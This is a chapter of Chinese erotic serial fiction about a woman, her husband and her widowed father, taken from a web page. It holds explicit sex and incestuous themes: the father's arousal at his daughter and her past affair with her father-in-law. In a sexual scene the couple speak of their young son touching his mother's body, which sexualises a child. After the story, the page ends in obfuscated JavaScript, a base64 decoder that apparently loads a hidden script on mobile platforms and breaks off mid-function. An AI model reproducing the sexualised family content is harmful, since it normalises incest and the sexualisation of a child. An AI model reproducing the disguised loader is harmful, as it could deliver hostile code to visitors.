离夏本也无心,经过父亲这一解释,一下子就想到了自己曾经奶孩子的岁月。当时公爹也是抹不开脸儿,总是刻意回避着。可回避总不是办法,再如何回避,也难免会碰上尴尬的事情。

开始时离夏的心里也是磨磨叽叽,感觉挺不好意思,可一想到公爹独自一人含辛茹苦地把丈夫拉扯大了,她又为这个老男人感到心酸,最后也就不再回避,乃至后来让公爹喝了自己的奶水,一直到最后把身子都卷了进去。

想必父亲现在不肯上兄弟家去,心里也是存有回避的心理吧,要不然他也不会这样子说。离夏现在这个年龄已经看透了很多事物,对此并没有过多的想法。女人的奶水过剩,给老人喝了也是无可厚非的事情,她自己就有经历,想到兄弟两口子那么坦荡地把奶水挤到杯子里,虽说是拿给自己儿子喝的,估计着也不怕老父亲把它喝掉吧。

离夏看着父亲老小孩的样子,她笑着揶揄道:“反正是挤到了杯子里了,倒掉有些可惜,奶水又是补身子的东西,喝不喝我不管您。”

老离走向茶几处拿起了杯子,犹犹豫豫之间又回身看了看女儿,见她踩着高跟鞋的丰韵模样,竟忍不住用眼扫了扫女儿丰腴的胸部。那一瞬间,老离的脑子就像过电一样,他毫不犹豫地就把杯子里的奶水灌进了嘴里。

生凉中略带着一丝淡腥味的奶汁,欢快地流向了离响的胃里,让他心里生出了异样感,随着涮洗杯子过后,身旁闺女拥靠着他的胳膊,令老离的心里再次摇荡起来,他真说不好到底是那杯奶水的缘故,还是闺女丰满的身子所导致的,竟让他裤裆里的物事蠢蠢欲动起来……

在楼底下见到了平时在一起下棋的棋友,离响跟他们一一打过了招唿,这才随着姑爷姑娘离开了这个居住了好几十年的老旧社区,朝着闺女的家里驶去。 两三点钟的下午,外面的天气比屋子里还要清凉爽快,在县城里开着车,都能看到路边上穿着短衫短裙的姑娘小伙了,他们一脸轻松写意的样子,正在提前迎接着夏日的到来。

路上无话,转眼间就开到了幸福花都这个新型社区,随着登记过后,车子驶向了地下停车场,随后一家人说说笑笑地走了出来。

这些年姑爷和姑娘没少倒腾房产,光是名下的就有好几所房子,要说自己儿子买的那所新房,闺女可还是帮着给拿了大头呢。老离恋旧,闺女本打算给他安排一所新房,可他怎么也舍不得自己那所旧房子,都说金窝银窝不如自己的狗窝,住习惯了也就没有挪离。

看到如今已经成家立业的儿女们能如此地往来走动,丝毫没有因为金钱而闹得生分了,老离打心眼里替他们高兴,同时心里也为自己的闺女能够找到这样一个逞心如意的好丈夫而替她感到自豪。

一行人走进了楼道,随后坐上电梯一路飙升到了十一楼,“叮咚”一声,随着电梯门的打开,迎面正好碰上一个年轻女孩子,她一见到魏宗建夫妇,笑着打起了招唿,“这不是魏哥和夏姐嘛,周末出去散心去啦?”

离夏笑着点了点头道:“嗯,小李啊∼这不是出去一趟嘛,把我爸接过来住……你没跟你家小王出去玩吗?”

看到魏哥和夏姐身后还跟着的男人,一听说是夏姐的父亲,小李仔细地端详了一阵儿眼前的老人。但见他一脸红光、精神抖擞、白白净净的样子,看起来保养得还挺不错,根本看不出实际年龄,要不是夏姐介绍,谁能想到他会是夏姐的父亲呢。细想也对,闺女长得漂亮,老爹能寒碜的着吗!

小李礼貌性地打着招唿道:“伯伯好,呵呵,诚诚也在呀,都没注意呢。” 离响客气地打过招唿之后,魏诚诚也从父母身后露了出来,冲着李阿姨微微一笑道,“李阿姨好。”

开了房门,魏宗建把行李箱拉到了一间卧室里,随后离夏也脱掉了高跟鞋,替父亲整理起房间来。

他们这所房子在这个小县城里算是高档社区了,把着东山,四室两厅的大平米房间正好又是金角的位置,周围尽是图书馆和办公场所,价格自然不菲。当初买房子的时候,离夏和魏宗建也是相中了这里的地理地段,守着县政府,里面还都是高干子弟,自然是占尽了便宜,别看花费了将近八十万的购房款,可居住在这里,实在是物超所值。

两口子一个能挣钱,一个会打理生活,在一起鱼帮水水帮鱼的,又是敬老爱幼,日子不红红火火都难。他们简直就是大家眼中的模范夫妻,邻里羡慕不已不说,同事朋友间也都相互赞不绝口,羡慕他们这对曾经的金童玉女,赞佩他们在父母身上体现出来的良善孝情。

房间多自然有多的好处,以前妻子在家照看父亲的时候,她们爷俩感情处的就如同亲生父女一样亲密,这么多年过来,看在眼里记在心上,魏宗建是深有体会的。自从父亲过世之后,担心妻子难以释怀,他把父亲曾经居住的房间改为书房,算是换了个模样,其实这样做也是安慰自己,省得睹物思人,始终难以走出父亲离世的阴影。

如今把孩子姥爷接到自己家中,也算是替妻子着想着的。他魏宗建外出时,平时儿子都是跟着妻子睡的,剩余的房间打着滚都睡不开,自然不会发生居住难以解决的问题,这也是当初购买四室两厅考虑的结果,最终的目的不就是为了以后能够和老人一起居住,一起享受天伦之乐嘛。

什么叫做以身作则,这就叫做以身作则。生长在华夏大地上,祖祖辈辈一辈辈地传承下来,魏宗建虽说不常待在家里,可每次回来都尽心尽力去关心长辈,无论是自己这一方的还是妻子那一方的,他都任劳任怨,主动地给孩子做着榜样,用那种无声无息的行动去诉说着“孝敬老人”这四个字,潜移默化间传承着,教育着儿子。

魏宗建心里认为,孩子在成长过程中,就像一颗有待修剪的小树,家长怎么做,他就怎么学,家庭熏陶也是在相互之间无私奉献中体现出来的,不然的话,成天吵吵闹闹没个安宁,对孩子的成长也没有什么好处。

老丈人一来,魏宗建特意把烟灰缸准备了出来,放到了客厅的茶几上,同时又预备了另外一个放到了老丈人的起居室里,省得夜晚他要吸烟还要跑出来,跟妻子悄悄地把情况说了出来,看到妻子一副赞赏和感激的眼神,魏宗建的心里也是美美的。

因为魏宗建很清楚自己的家庭情况,他不经常在家,所以也就尽最大能力把他能想到的都提前准备出来,总不至于到了临门一脚时掉了链子,让人心里生出一丝遗憾来。他的这种习惯也和工作密不可分,尤其是到了中年,身上的担子加重了,想的东西也多了,自然是要未雨绸缪,省得临时抱佛脚,事儿办出来不漂亮。公司老总为何会欣赏他,那可不是瞎说的,就冲着这一点,他一年几十万的收入就不白拿。

抽烟人没有那么多的讲究,可岳父来了总不能干抽烟不吃点别的东西吧。想到这里,魏宗建又从冰箱里拿出了水果,弄了满满一盘子送到了客厅里,让岳父大人享用,一切都准备妥当了,这才走向书房陪着孩子读起书来。

回到自己家中又忙碌了一番,总算是分门别类地把房间收拾妥当,床铺给从里到外换了一套崭新的被面,怕父亲不习惯,离夏又给加了一层褥子,整理好一切之后,她又打开衣柜,把父亲该换穿的衣物和鞋子都替他摆放好,这才活动了一下酸软的肩膀,俏生生地立在门口冲着客厅里的父亲念叨起来,“爸爸,您看看房间里这样弄好不好,要是觉得不舒服的话,我再给您重新布置。”

这一次来闺女家居住,还是那种长期性的,可以说是破天荒头一次了,以前也陪着老伴来过几次,可那个时候和现在又有很大区别,一时之间,老离真不知道自己该做些什么,心理不免有些惶惶然。

要是换做老家,这个时候他早就熘达到了楼底下,就算是没赶上场,也会围在棋友身边跟着一起助阵的,到了姑娘家里,这个社区管理极为严格,进门都要刷卡,显然和之前的生活格格不入,老离感觉自己好像真的有些多余,真不知道自己开始选择的到底是对还是错了。

见父亲木然地坐在沙发上抽着闷烟,离夏踩着凉拖把换洗下来的被单放到了浴室里,随后走到父亲身前,低声问道:“爸∼您又怎么了?一副闷闷不乐的样子。”

被近在咫尺的闺女唤醒,老离看了看她,最终唉声叹气道:“我心里多少有些不适应。”

来的时候本来挺高兴的,现在父亲一脸落寞,不知他心里又想到了什么。离夏只得不断安慰道:“您是觉得腻得慌还是觉得这里冷清啊?”说着就抓起了父亲的手,像哄孩子一样,眨巴着大眼睛等待父亲的答复。

老离的手被闺女抓到了,这一下就像吃了一颗定心丸一样,让他有些复杂的心暂时平静下来。老离并未说些什么,掐灭烟头的时候他看了看书房,随后起身走向了自己的卧室。

见父亲沉默不语地离开自己,离夏知道父亲有话要跟自己单独讲,她跟着父亲走向卧室,随手把门关了起来。

离响坐在松软的大床上,一脸愁容,他冲着闺女说道:“屋子里归置得挺好的,爸一把年纪了,也没有那么多事儿,就是怕你嫌爸爸抽的烟多,呵呵,怕把这么好的房子给熏黄了。”

坐在爸爸身旁,离夏语重心长地说道:“只要您高兴,我们心里就踏实了,我就怕您有什么事儿憋在心里不说出来,总让闺女心里惦记着。既然把您接来了,要是限制您的话,那不等于是关了您的紧闭吗!您说我能做得出来那种事吗!” 知道父亲不可能因为抽烟的事儿要自己跟他单独谈谈,随后试探性地问道:“您是不是担心以后的事儿没着落了?”离夏勾起眼角挑着父亲,似笑非笑的样子看起来极为挑逗诱人。

老离见自己心里的想法被闺女识破,原本和闺女独处时的无拘无束仿佛被钳制了起来,弄得他挺不好意思的。

父亲都一把年纪了,能够破除旧的思想本身就是个好事,敢于走出第一步,更说明了他向往新生活的觉醒,另一方面也证实了父亲年轻的心态。

离夏拉起父亲的手说道:“看把您愁的,好了好了,您休息一下吧,回头咱们出去吃饭,晚上我跟您一起去广场上转悠转悠,顺便看看您说的那个张姨怎么样,给您参谋参谋,别躲想了,我这也去休息休息。”

嘱托完父亲,离夏亲昵地在老爹的脸上吻了一口,在父亲诧异的目光中,她轻盈地走出了父亲的房间……

吃过了晚饭,离夏陪着父亲,带着丈夫孩子步行去了文化广场。因为要品品父亲嘴里所说的那个张女士,离夏特意支走了丈夫,让他带着孩子去那边看年轻人喜欢跳的鬼步舞。

离夏挽着父亲的手臂,陪着他走在灯火通明的广场上。自从五一过后,天气渐渐转暖,文化广场聚集的人群也越来越多起来,他们都是县城四处社区里的居民,有的是步行熘达过来的,有的是稍远一点开车过来的,还有是骑着电瓶车过来,这年头兴起了健身热,追求更多的也是一种养生文化。

随处可见的人流涌动,东一处有老年人随着音乐舞动着扇子跳秧歌的,西一处又围拢着一群混淆着年轻和中年人跳韵律操的,中间还穿插着孩子们的滚轴滑板,穿梭往来,玩的不亦乐乎。而把角的地方也架起了音响,带着动感旋律,一群年轻女子排列整齐地跳着欢快的运动舞,小腰扭得那叫一个活,围坐在台阶上的观众们直看得目不转睛,眼珠子都快扎进女孩子们的身上了。

这且不说,还有一些特别的人,纯粹是陶冶情操来的。他们或是拿着海绵笔玩起了地书,或是几个老年男女围在一起唱着京剧。对于他们来说,吃饱喝足之后挥洒一下汗水,让身体放松一下,睡觉都是香的。

离夏随着父亲来到了一处跳交际舞的场地,周围已经围了不少的看客,只见人群中央有四个人正在随着悠扬的音乐跳着舞蹈,他们配合非常默契,显然是长期在一起磨练出来的。挤进了人群,离响指着前方音响处一个站立的妇女,对着自己的闺女说道:“那就是我跟你说的张翠华张姨。”

张女士站在那里并未注意到自己和父亲的来到,离夏悄悄打量着前方的女人。从父亲的嘴里得知,这个张女士已经四十九了,可端详她的脸盘,和实际年龄并不相仿。

借着灯光照射,离夏看到映在张女士那张因为舞后而有些潮红的脸蛋上,五官倒还精致,给人直观印象不错。她的眼角稍稍起了一丝细纹反倒是更加增添了中年女性的妩媚丰韵,一双大眼睛仿佛会放电一样脉脉含情地盯着舞伴,难怪父亲会被她所吸引呢。

更难得的是,一个四十九的女人,身材匀称不说,穿的还算是很时尚很讲究的。她一身素色中裙罩在身上,把两条丰满的胳膊裸露在外,根本没有披起外套,看那样子,她跳过了舞倒看不出身子发凉。膝盖以下的小腿上罩着假肉色打底裤,黑亮亮的非常显眼,而脚下踩着的那双黑色半高小皮鞋,精致光亮,又给她整体增色不少。

见女儿盯着张翠华看了许久,老离焦急地问道:“怎么样?人还行吗?” 看着父亲紧张的样子,离夏笑道:“爸的眼光不赖啊……只不过没接触本人,品行方面还不好说呢。”

听到女儿赞佩自己的眼光,老离紧张的脸上终于漾出了笑容,可闺女后面的话却又让他心里打起了吸熘。

是呀,女儿说的没错,处朋友看的不就是人品嘛!更何况是夕阳红下的相知相恋。老离和张翠华接触的过程里,知道她现在也是单身,家里头还有一儿一女,她也像自己现在一样,无拘无束的,为人挺好的,最起码是对自己挺好的。 两好并一好的话,两个人在一起生活的话只要不影响子女的正常生活,应该没有什么问题的。

当张女士把目光投向这边的时候,离夏朝着张女士报以微笑,同时推了推父亲,离响这才回过味来。

父亲顺着人群绕到了张女士身旁,不知跟她嘀咕了什么,一会儿就见父亲从音响旁的椅子上拿起了一件外套给张女士披了起来,接着就冲自己挥了挥是手。 走出人群来到了一处僻静的地方,离夏亲切地称唿了一声“张姨”,很是细心地替她把外套的扣子扣了起来。张翠华笑脸相迎答应了一声,见她体贴入微,随后偷偷打量起“男朋友”的女儿。

首次跟张女士见面,离夏也不好意思插在中间给父亲当电灯泡,她招唿一声之后,打算借故离开。她是这样想的,头一次见面,顶多是留下直观印象评判一下,以后再找机会把张姨请到家里,多接触几次就能体验到这个女人的为人处世,也算是为人子女替父亲把关了。

见男朋友的女儿要走,张翠华挽留道:“要不咱们一起喝杯咖啡好了。” 离夏摆了摆手,浅笑道:“孩子还从那边呢,我就不打扰您跟我爸了。”这当不当正不正的时间,又是吃过了饭,总不能晾在外面遛马路吧,过些日子找个机会,再把把关,也算是给父亲一个答复。和张姨说完,离夏对着父亲挤了挤眼,随后转身离开了他们。

看着男朋友的女儿离开,张翠华对着离响笑道:“你女儿长得可真漂亮,身材又好,真看不出还有那么大的孩子呢。”

女朋友夸奖自己的孩子,离响心里美滋滋的,他风趣地回答道:“那是当然啦,老爸长得好,闺女能差到哪去呢。”

张翠华嗔笑道:“油嘴滑舌的就会哄我,走吧,咱们也别杵在这里了。” 晚间的这条公路已经清净下来,路灯照耀下,一片昏黄。老离拉起了张翠华的手,边走边问道:“冷吗?你怎么来的?”

夜色弥漫,渐渐冷清下来。跳舞的时候不显,这个时候披上了外罩,多少还是有些清凉。张翠华被离响牵着手腕,就像曾经恋爱时一样,脸上带着幸福,跟个小女孩似的。

散着步,张翠华轻轻浅浅地说道:“你也是走过来的?”

见女友的另一侧胳膊紧紧缩起来的样子,心细的老离急忙脱下自己的外衫,给张翠华披在身上。摸着张翠华的棉裙,老离埋怨之中带着关切说道:“也没多穿些衣服,以后可别这样了。”

张翠华睨了一眼离响,不紧不慢地说道:“这不是身上有汗吗。”

老离憨笑道:“也是哈,跳舞穿得太多反而舒展不开,臃肿不堪的话,跳着也不好看、不舒服。”

见老离脸上一片笑容,张翠华反问道:“你把外套给了我,你自己冷不冷啊。”接着又回答了他的问话:“是呀,这不穿着裙子和打底裤出来的吗,现在的晚上确实还是有点凉,等到了六月份也就没什么事儿了。”

其实老离早就注意到张翠华腿上穿着的打底裤了。一个中年女人,如果臃肿不堪的话,估计着也不会让人产生多大的兴趣。其次要是她再土了吧唧的,没有太多的引人之处,无形之中也会给她扣分。

而张翠华恰恰相反,虽说她的身高才一米六二,可穿衣打扮还是非常讲究的,最起码在离响眼中够格,四十九岁的年龄,本身又爱化妆,这也是另外一处让老离动心的地方。

对于男人来说,不管是十多岁的学生还是五六十岁的老人,往往在第一时间内会注意到女人的穿衣打扮的。高跟、丝袜、红裙、紧身衣,总有一些地方在修饰之后能够吸引打动他们。

老离也是男人,本身也喜欢女人的胸部和大腿,更何况张翠华本身又比他小了十岁,又爱打扮又爱穿丝袜,要不怎会在短短时间内就把老离的魂儿给勾走了,让他在原配故去之后,在张翠华的身上找到了快感。

随后他们慢悠悠地走了起来,在路灯的照射下,两个依偎在一起的人儿,显得还挺浪漫。

4

头前说说:生活节奏比较快,因为时间问题,耽误了进度,往谅解!

我总感觉,无酒不乐无肉不欢,写色情,哪能脱离这些元素。

朋友们提及到关于肉戏的场景,其实也就那么几个,说来说去,就是一个偷情。

至于先来哪一个(抚摸啊、口交啊、69啊、真实插干等等等),我的看法是,禁忌这东西本来就玄之又玄,根本没有一个固定模式可以借鉴,有可能摸了几下之后,男人就会强上,除非他经历过很多女人。

偷情是欢快的,禁忌之间的偷情更是无比刺激、无比欢快的,那么就一直欢快下去好了!

有就是,这篇题目为姇的短文,希望转载的朋友把这头前说的也一并转过去,谢谢!

*** *** *** ***

时过境迁,父亲已然故去。找后老伴的问题又摆在了老丈人的面前。对于老丈人的做法,魏宗建还是持肯定和支持的态度的。

站在老人的角度去想的话,真要是迈出了这一步,并不是简简单单的事情。首先来说,他这个岁数在这摆着呢,如果是年轻小伙子,谁都不会嘲笑的,可毕竟是六十岁的人了,难免让人说三道四,甚至还有可能给他们挂个老不正经的帽子。其次,到了这个年纪,家里的子女基本都已成家立业,有了各自的家庭,谁还会没事给自己找个奶奶啊,可想而知了,大部分子女对于老人的再婚问题,差不多都持否定意见。

魏宗建之所以能够理解岳父,这也源于他的父亲魏喜。回想着父亲含辛茹苦把自己拉扯大了,魏宗建时常跟妻子提起,爸爸一个人带着我,当爹当妈的,都到了这个岁数还是一个人,咱这当小辈的心理也不落忍啊。可父亲讲了许多大道理,始终也没有再婚,索性的是,父亲和妻子之间的关系非常融洽,感情好的就像父女一样,最后也就不了了之,顺着父亲的心愿得了。

“小勇知道吗?”魏宗建向离夏问着,父母再婚的话,总不能遮遮掩掩吧,最起码要通知子女,然后再通知亲朋好友。

“爸爸就是担心这个才让我去给他参谋的。其实我也知道爸爸心里想的,他就怕小勇不同意,想让我给点意见出来。你说咱们当儿女的哪能上来一刀就给他断了念想,真要是弄得他闷闷不乐的话,还不如顺着他呢,你说我这话对不对。” 离夏把心里的想法告诉了丈夫,她也是个有经验的人。公爹就是个很好的例子,只不过公爹没有再续后老伴,离夏也就顺着公爹的心,私底下公媳之间嬲来嬲去的,用自己的身体给公爹充当成了后老伴。

“回头你跟小勇解释解释呗,小勇平时嘻哈惯了,可真要是到了关键时刻,他的主义比谁都正,我看啊,也就你这个姐姐能降服得了他,别人啊,还真够呛。”魏宗建笑呵呵地说道。

两口子带着孩子顺带着熘达,说着话,不知不觉中就走回了家中。

丈夫回来之后,儿子就要自己一个房间睡了,离夏给诚诚洗过了澡,又陪他在床上讲了几个故事,临走时还不忘叮嘱儿子,告诉他睡觉前就不要玩手机了,然后亲了亲儿子的脸蛋,给他盖好了被子之后,这才走回客厅。

离夏穿着居家睡裙坐在沙发上看着电视,不知不觉就到了十点钟,心里正琢磨着要不要给父亲去个电话,随后门铃就响了起来。

赶紧起身过去,给父亲把门打开,见父亲脸上甜蜜的样子,离夏笑了起来。 难得父亲心情这么好,处在热恋中的男女不都是那个样子吗!有过恋爱时期的经历,离夏当然能够体会到父亲此时的心情。

回到沙发旁,离夏又陪着父亲坐了一会儿,自然是要把心里的想法跟父亲汇报汇报了。其实,也就是对张女士的第一眼的直观印象,虽然简简单单,可离夏依旧看到了父亲脸上的笑意,想着丈夫还在房里,离夏起身亲了亲父亲的脸蛋,然后笑着跟他说道:“只要您高兴就行,别管别人。”说完之后,迈着碎步走回了她的房间。

老离的心理其实也正是代表了当下所有老年人的心理。再婚了,拦在他们眼前的正是儿女,也正是因为这些羁绊,搞不好的话,很可能会造成家庭破裂,那样一来,就会闹得父母不是父母,儿女不是女儿,好好的一个大家庭就变成谁都不认识谁了,这也是老离心里最担忧的问题。

既然闺女跟自己那样说了,看来是有戏了。现在唯一让老离感到难以面对的,就只剩下儿子这一关了。别看儿子平时吊儿郎当,可沾上正事,他认死理,真要是那样的话,老离还真不知道怎么处理。他现在只好把希望寄托到闺女身上,希望能够借助闺女的影响,能够说服开到小勇,通过儿子这一关。

心情可谓是喜忧参半,洗过了澡,就在老离进房间时,隐隐约约听到了闺女房中的动静。那动静,对于老离来说,再熟悉不过了。

前一段时间,他跟张翠华也曾做过那种事,想到姑爷好不容易回来一趟,跟闺女扎在屋子里,肯定也要好生享受一下,凑近了门口听了听声音,除了听到闺女那销魂的叫声,还听到了高跟鞋哒哒的声响,离响摇了摇头,会心一笑之后走进了他自己的房间。

这边老离孤零零一个人,那边魏宗建和妻子叠在一起,正一变二二变一,过着夫妻房事。

魏宗建站在地上,撩开妻子的睡裙,对着妻子丰肥的肉色屁股埋头苦干。他和妻子之间,经常体验这种小别胜新婚的感觉,虽然现在的年岁稍微大了一些,可玩起来依旧豪兴不浅,每每都坚硬无比,把个娇妻肏得咿呀乱语,一个劲儿地跟他索要。

并且为了获取生理上的最大满足,妻子每次都会穿上超薄超透的丝袜,脚下还会穿上性感的高跟鞋满足自己的性欲,极尽所能地把肥腴的身子展现给自己。 说真的,每次这样和妻子做爱时,魏宗建都能在妻子身上获得极大的满足,并且多数情况下,还会玩个二重唱。

离夏的身体随着年龄的增长,身材还是那样的纤细,唯一变化了的地方只是胸部和屁股。可能也是因为年龄增长的缘故,原本丰满的胸部更加硕大,撇着八字,高高翘挺着,让人难以置信的是,这对豪乳竟然没有下垂,还是长在了一个三十九岁女人的胸口上,真是喜人啊!

“嗯∼舒服吗?”魏宗建双手掐在妻子的纤腰上,不时地伸出右手抚摸着她那如同抹了一层明油似的屁股,接触时,肉色丝袜的光滑简直是无与伦比了,难怪那么多的男人喜欢和穿着丝袜的女人搞呢。

原来这不仅能够增加情趣,刺激男人感官的同时,极大地提高了男人的性欲,还能让他们生龙活虎,不遗余力地挥洒出汗水,在猛干的同时,也解决了女人的身体所需生理欲望。

这年头不都讲究双赢吗!魏宗建在搞妻子的时候,其实离夏也同样获得了如潮般的快感。四十岁的女人,生理欲望比三十岁还要强烈,不要说一两次,就算是三四次,身体都能接受。看来那句话一点不假,真是三十如狼四十如虎啊! “嗯哦∼舒服,好满啊∼”离夏弯着腰,被丈夫推来推去,十釐米的黑色漆皮高跟鞋不断踩踏着地面,传来了无规则地哒哒声,随着丈夫身体的动作,噗嗤噗嗤的水声也渐浓渐响。

每一次的深入,那种填满空虚的感觉,让人身体发涨,恨不得希望男人的阳具能够撕裂了自己才好受些,而当它离开自己的身体时,又抽的自己浑身上下不自在,那份难受劲啊,把离夏弄得唯有不断摇摆起肥臀,不断地迎合,才稍稍感觉好受一些。

“这要是把你的睡裙撩起来的话,谁见了你的这个大屁股都会喜欢的,穿着骚骚的丝袜,看着就让我眼馋啊,再摸一摸你这大肥奶子,哈哈∼”魏宗建低声说笑着,还就真把妻子的睡裙撩了起来。

离夏以为丈夫要把自己的睡裙脱掉,于是很配合地把手平举了起来,可丈夫只是一撩一推就不再动作,自己的下半身倒是完全暴露在了空气里,可脑袋上却被睡裙遮挡了起来,离夏还未来得及动作,丈夫就又抱住了她的身体,弄得离夏狼狈不堪,迅速从裙子里把手抻了出来,可脑袋上依旧挂着睡裙,顾不了那么多,她开始哼哼唧唧地叫了起来。

情欲之门一开,总是让人禁受不住诱惑,尤其是饥渴难耐之时,如果还要压抑的话,可真就成了卫道夫了。

离夏娇喘兮兮地晃动着身子,随声迎合道;“嗯∼你儿子比你摸得时间还长呢!”

其实离夏这样说也是因为儿子长期陪着她睡,母子间的感情又是亲密无比,睡觉时儿子摸摸妈妈的奶子甚至是屁股,那不太习以为常了吗!也是因为丈夫不断撩拨,离夏才这样说,其实也是间接在刺激着丈夫。

“儿子也喜欢摸?呵呵,他今年又长高啦,再过二年的话,都能追上你了!” 坚挺着下体出来进去地在妻子的嫩腔里抽动着,魏宗建只感觉自己的下体就像浸泡在温暖湿滑的池水中一样,非常舒服。像他这种在外奔波的人,有几个没找过野鸡的。

就算是你不找,也有人替你找,社会风气嘛!最难得的是,魏宗建始终如一地坚守着原则。这倒不是说他没有审美观点,也不能说他心里没有欲望,真要是没有了七情六欲,他魏宗建也就不是男人了。

有一点很明确,也是魏宗建始终没有逾越雷池的准则。他总想,如果我偷了第一次,那么肯定会偷第二次,偷来偷去也就上瘾了,那样的话,我还对得起妻子吗!还对得起父亲吗!还对得起自己的孩子吗!

家庭至上,亲人至上,魏宗建始终坚守着岗位,要么也不会在回家之后就亟不可待地抱着妻子就干,这也在侧面说明了一点,他实在是憋坏了。

“换个姿势吧……”

离夏回眸深情地望着丈夫,裤裆里早就烂泥一样黏黏煳煳的了。她轻轻挪动着身体,来到了大床的床脚处,扭捏了一阵儿之后才恋恋不舍地脱离了丈夫的身体,随后躺在床角上,把两条肉色美腿擡了起来。

波光潋滟之下,两条大腿伸得笔直,像两条玉柱一样,立在了魏宗建的眼前。 从高跟鞋处露出的脚踝开始,一直延伸到了离夏桃型的屁股上,被一片肉腻腻的光泽包裹着,让她的屁股看起来更加浑圆翘挺,不塌不陷完美地展示出来,引得魏宗建直流口水,喜滋滋地瞅了起来。

免脱丝袜的开裆处,把离夏两股间的肉瓣湿漉漉泛着紫光的模样展现出来,一眼就能看出,紫润阴唇褶皱无比地粘拉着噏动不已,那绝对是长期性爱磨合出来的结果。

顺着屁股往上看,离夏的大腿颀长健美,肉色丝袜包裹下,就因为它超薄超透,才显得油光水滑,让人看了第一眼之后,就不会把眼睛挪离开了,可见丝袜的魅力和对男人的吸引力。

扶摇直上,离夏的小腿又优雅弧丰地微曲着,尤其是脚丫上面荡悠着的黑色漆皮高跟鞋,你说它不淫荡,为何在性爱里总是让男人牵肠挂肚,为何男人见了都会色迷迷地盯着它看,要真是没有味道的话,想必也不会有那么多的女性选择去穿高跟鞋了。

“真肥啊!”魏宗建咽了一口唾液,也不知他嘴里的真肥到底是说妻子的屁股还是肉穴。

他抱着妻子的两条双腿不断抚摸起来,还不时用他的脸摩挲在妻子的丝袜小腿上,感受着丝袜的光滑和细腻,兴奋之余,竟然脱掉了妻子右脚上的高跟鞋,把她那暖玉一般的小脚丫暴露在自己面前。

盯着眼前圆润如玉的脚丫,魏宗建的眼睛一亮,近距离观瞧下,妻子的脚趾整齐饱满地并列着,还带有一丝皮革的香味,深深吸了一口,随后魏宗建就把妻子的脚趾含在了嘴里,隔着丝袜不断吮吸起来。

一片口水,润湿了丝袜,同时也把丝袜包裹的脚趾湿漉漉地展现在了自己的眼前。魏宗建越舔越是开心,越舔越有味道,直到妻子抽回了脚丫,用双脚把他的脑袋夹住。

“哦∼坏东西,痒∼”离夏感觉脚上的鞋子被丈夫脱了下来,见他忘我的样子,还把高跟鞋甩在了床铺上,那色迷迷的样子,真是让离夏心里欢喜无限,在丈夫吮吸脚丫的时候,她嗤笑着,只在丈夫吮吸了一阵之后就忍不住了,空荡荡的身体继续男人的抚慰,这时,她伸出双腿,用脚丫夹住了丈夫的脖子。

身体里的血液沸腾起来,它们好像很久没有这种体会了,争先恐后着波动起来,浮现在皮肤上,形成了一层粉嫩娇艳的肉红色。

“还不快来……”见丈夫陶醉着的样子,离夏娇嗲嗲地催促着,双脚内八字并拢,勾住了丈夫脖子唿唤着,看来她比丈夫还要心急。

“真滑啊!”继之前的真肥,魏宗建嘴里又冒出了这么一句。

随后他分开了妻子的双腿,凭着下身的掌控,挑了两下之后,就用龟头划开了妻子的蜜穴,屁股微微耸动着,来回蹭了两下,然后身子一沈,在妻子的娇唿声中,魏宗建就把自己的阳具杵了进去,再一调整,一下子齐根没入直捣黄龙,把阳具深深插进了妻子肥腴的肉体中。

“哦∼∼”一声满足而又悠长的清脆唿唤从离夏的擅口里发了出来,因为丈夫的动作实在太过于生猛,那一下狠的插进去之后,离夏感觉肉穴实在是撑得太满了,并且顶得自己的身子都跟着哆嗦了起来,酥麻酥麻的感觉一下子就从肉穴中扩散出去,直达四肢百骸。

太舒服了,离夏的双手忍不住抓起了床单,生怕控制不住自己的身子,让心从嗓子眼里飞跳出去。

“真紧啊!”魏宗建赞美了一声,这已经是“第三真”了。

他的阳具刚一进入妻子的身体,就被妻子肉穴口上的嫩肉筋膜夹裹住了,仿佛被套了个箍,不让他那么容易就钻进去。

男人嘛,没有谁会承认自己是弱蛋的,魏宗建也不例外。他一咬牙,凭藉着身体上的优势,借着妻子湿滑的浸泡,生猛地灌插进去,一竿子入洞之后,立马被妻子肉穴深处喷发出来的浆液打了个哆嗦,嘴里喊着真紧不说,更是抱住了妻子的丝袜美腿,僵持在那里久久不敢动弹。

“唿∼”持续了一阵儿之后,运着气魏宗建缓缓动了起来,没几下之后紧接着就提速起来。

下身的阳具犹如钻进了羊肠幽径,每一次冲刺都能极为清晰地体验到妻子肉壁上的褶皱颗粒,并且不断阻拦着他的前行步伐。

凭藉着自己球场多年中锋的经验,魏宗建一边气喘如牛地调整着身体,一边奋不顾身地向前推进着,吭哧吭哧地抽动起来……

夜墨幽凉,冷色调的路灯依然开着,外面的世界已然沈静下来,而屋子里却又是另一番景象。

房间里的男女二人依旧在分分合合中,男人虽然已经汗流浃背,但他丝毫没有放弃身体上的动作,美色当前,他一次次地犁开女人紧窄的身体,沈浸在肉套给他带来无与伦比的享受之中。

而女人妩媚妖娆的同时,则是极尽所能地夹裹着男人的身体,就算被男人肏得咿呀乱语,也仍不服输地对抗着,娇喘的声音充斥在卧室里,听起来是那样的醉人,就像美妙的音乐,久久回荡在耳边,让人听了不免面红耳赤,心潮浮动,难以把持。


上一篇:橘家男性事情(官方小说版)

下一篇:媳妇的圣诞礼物(全)


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new 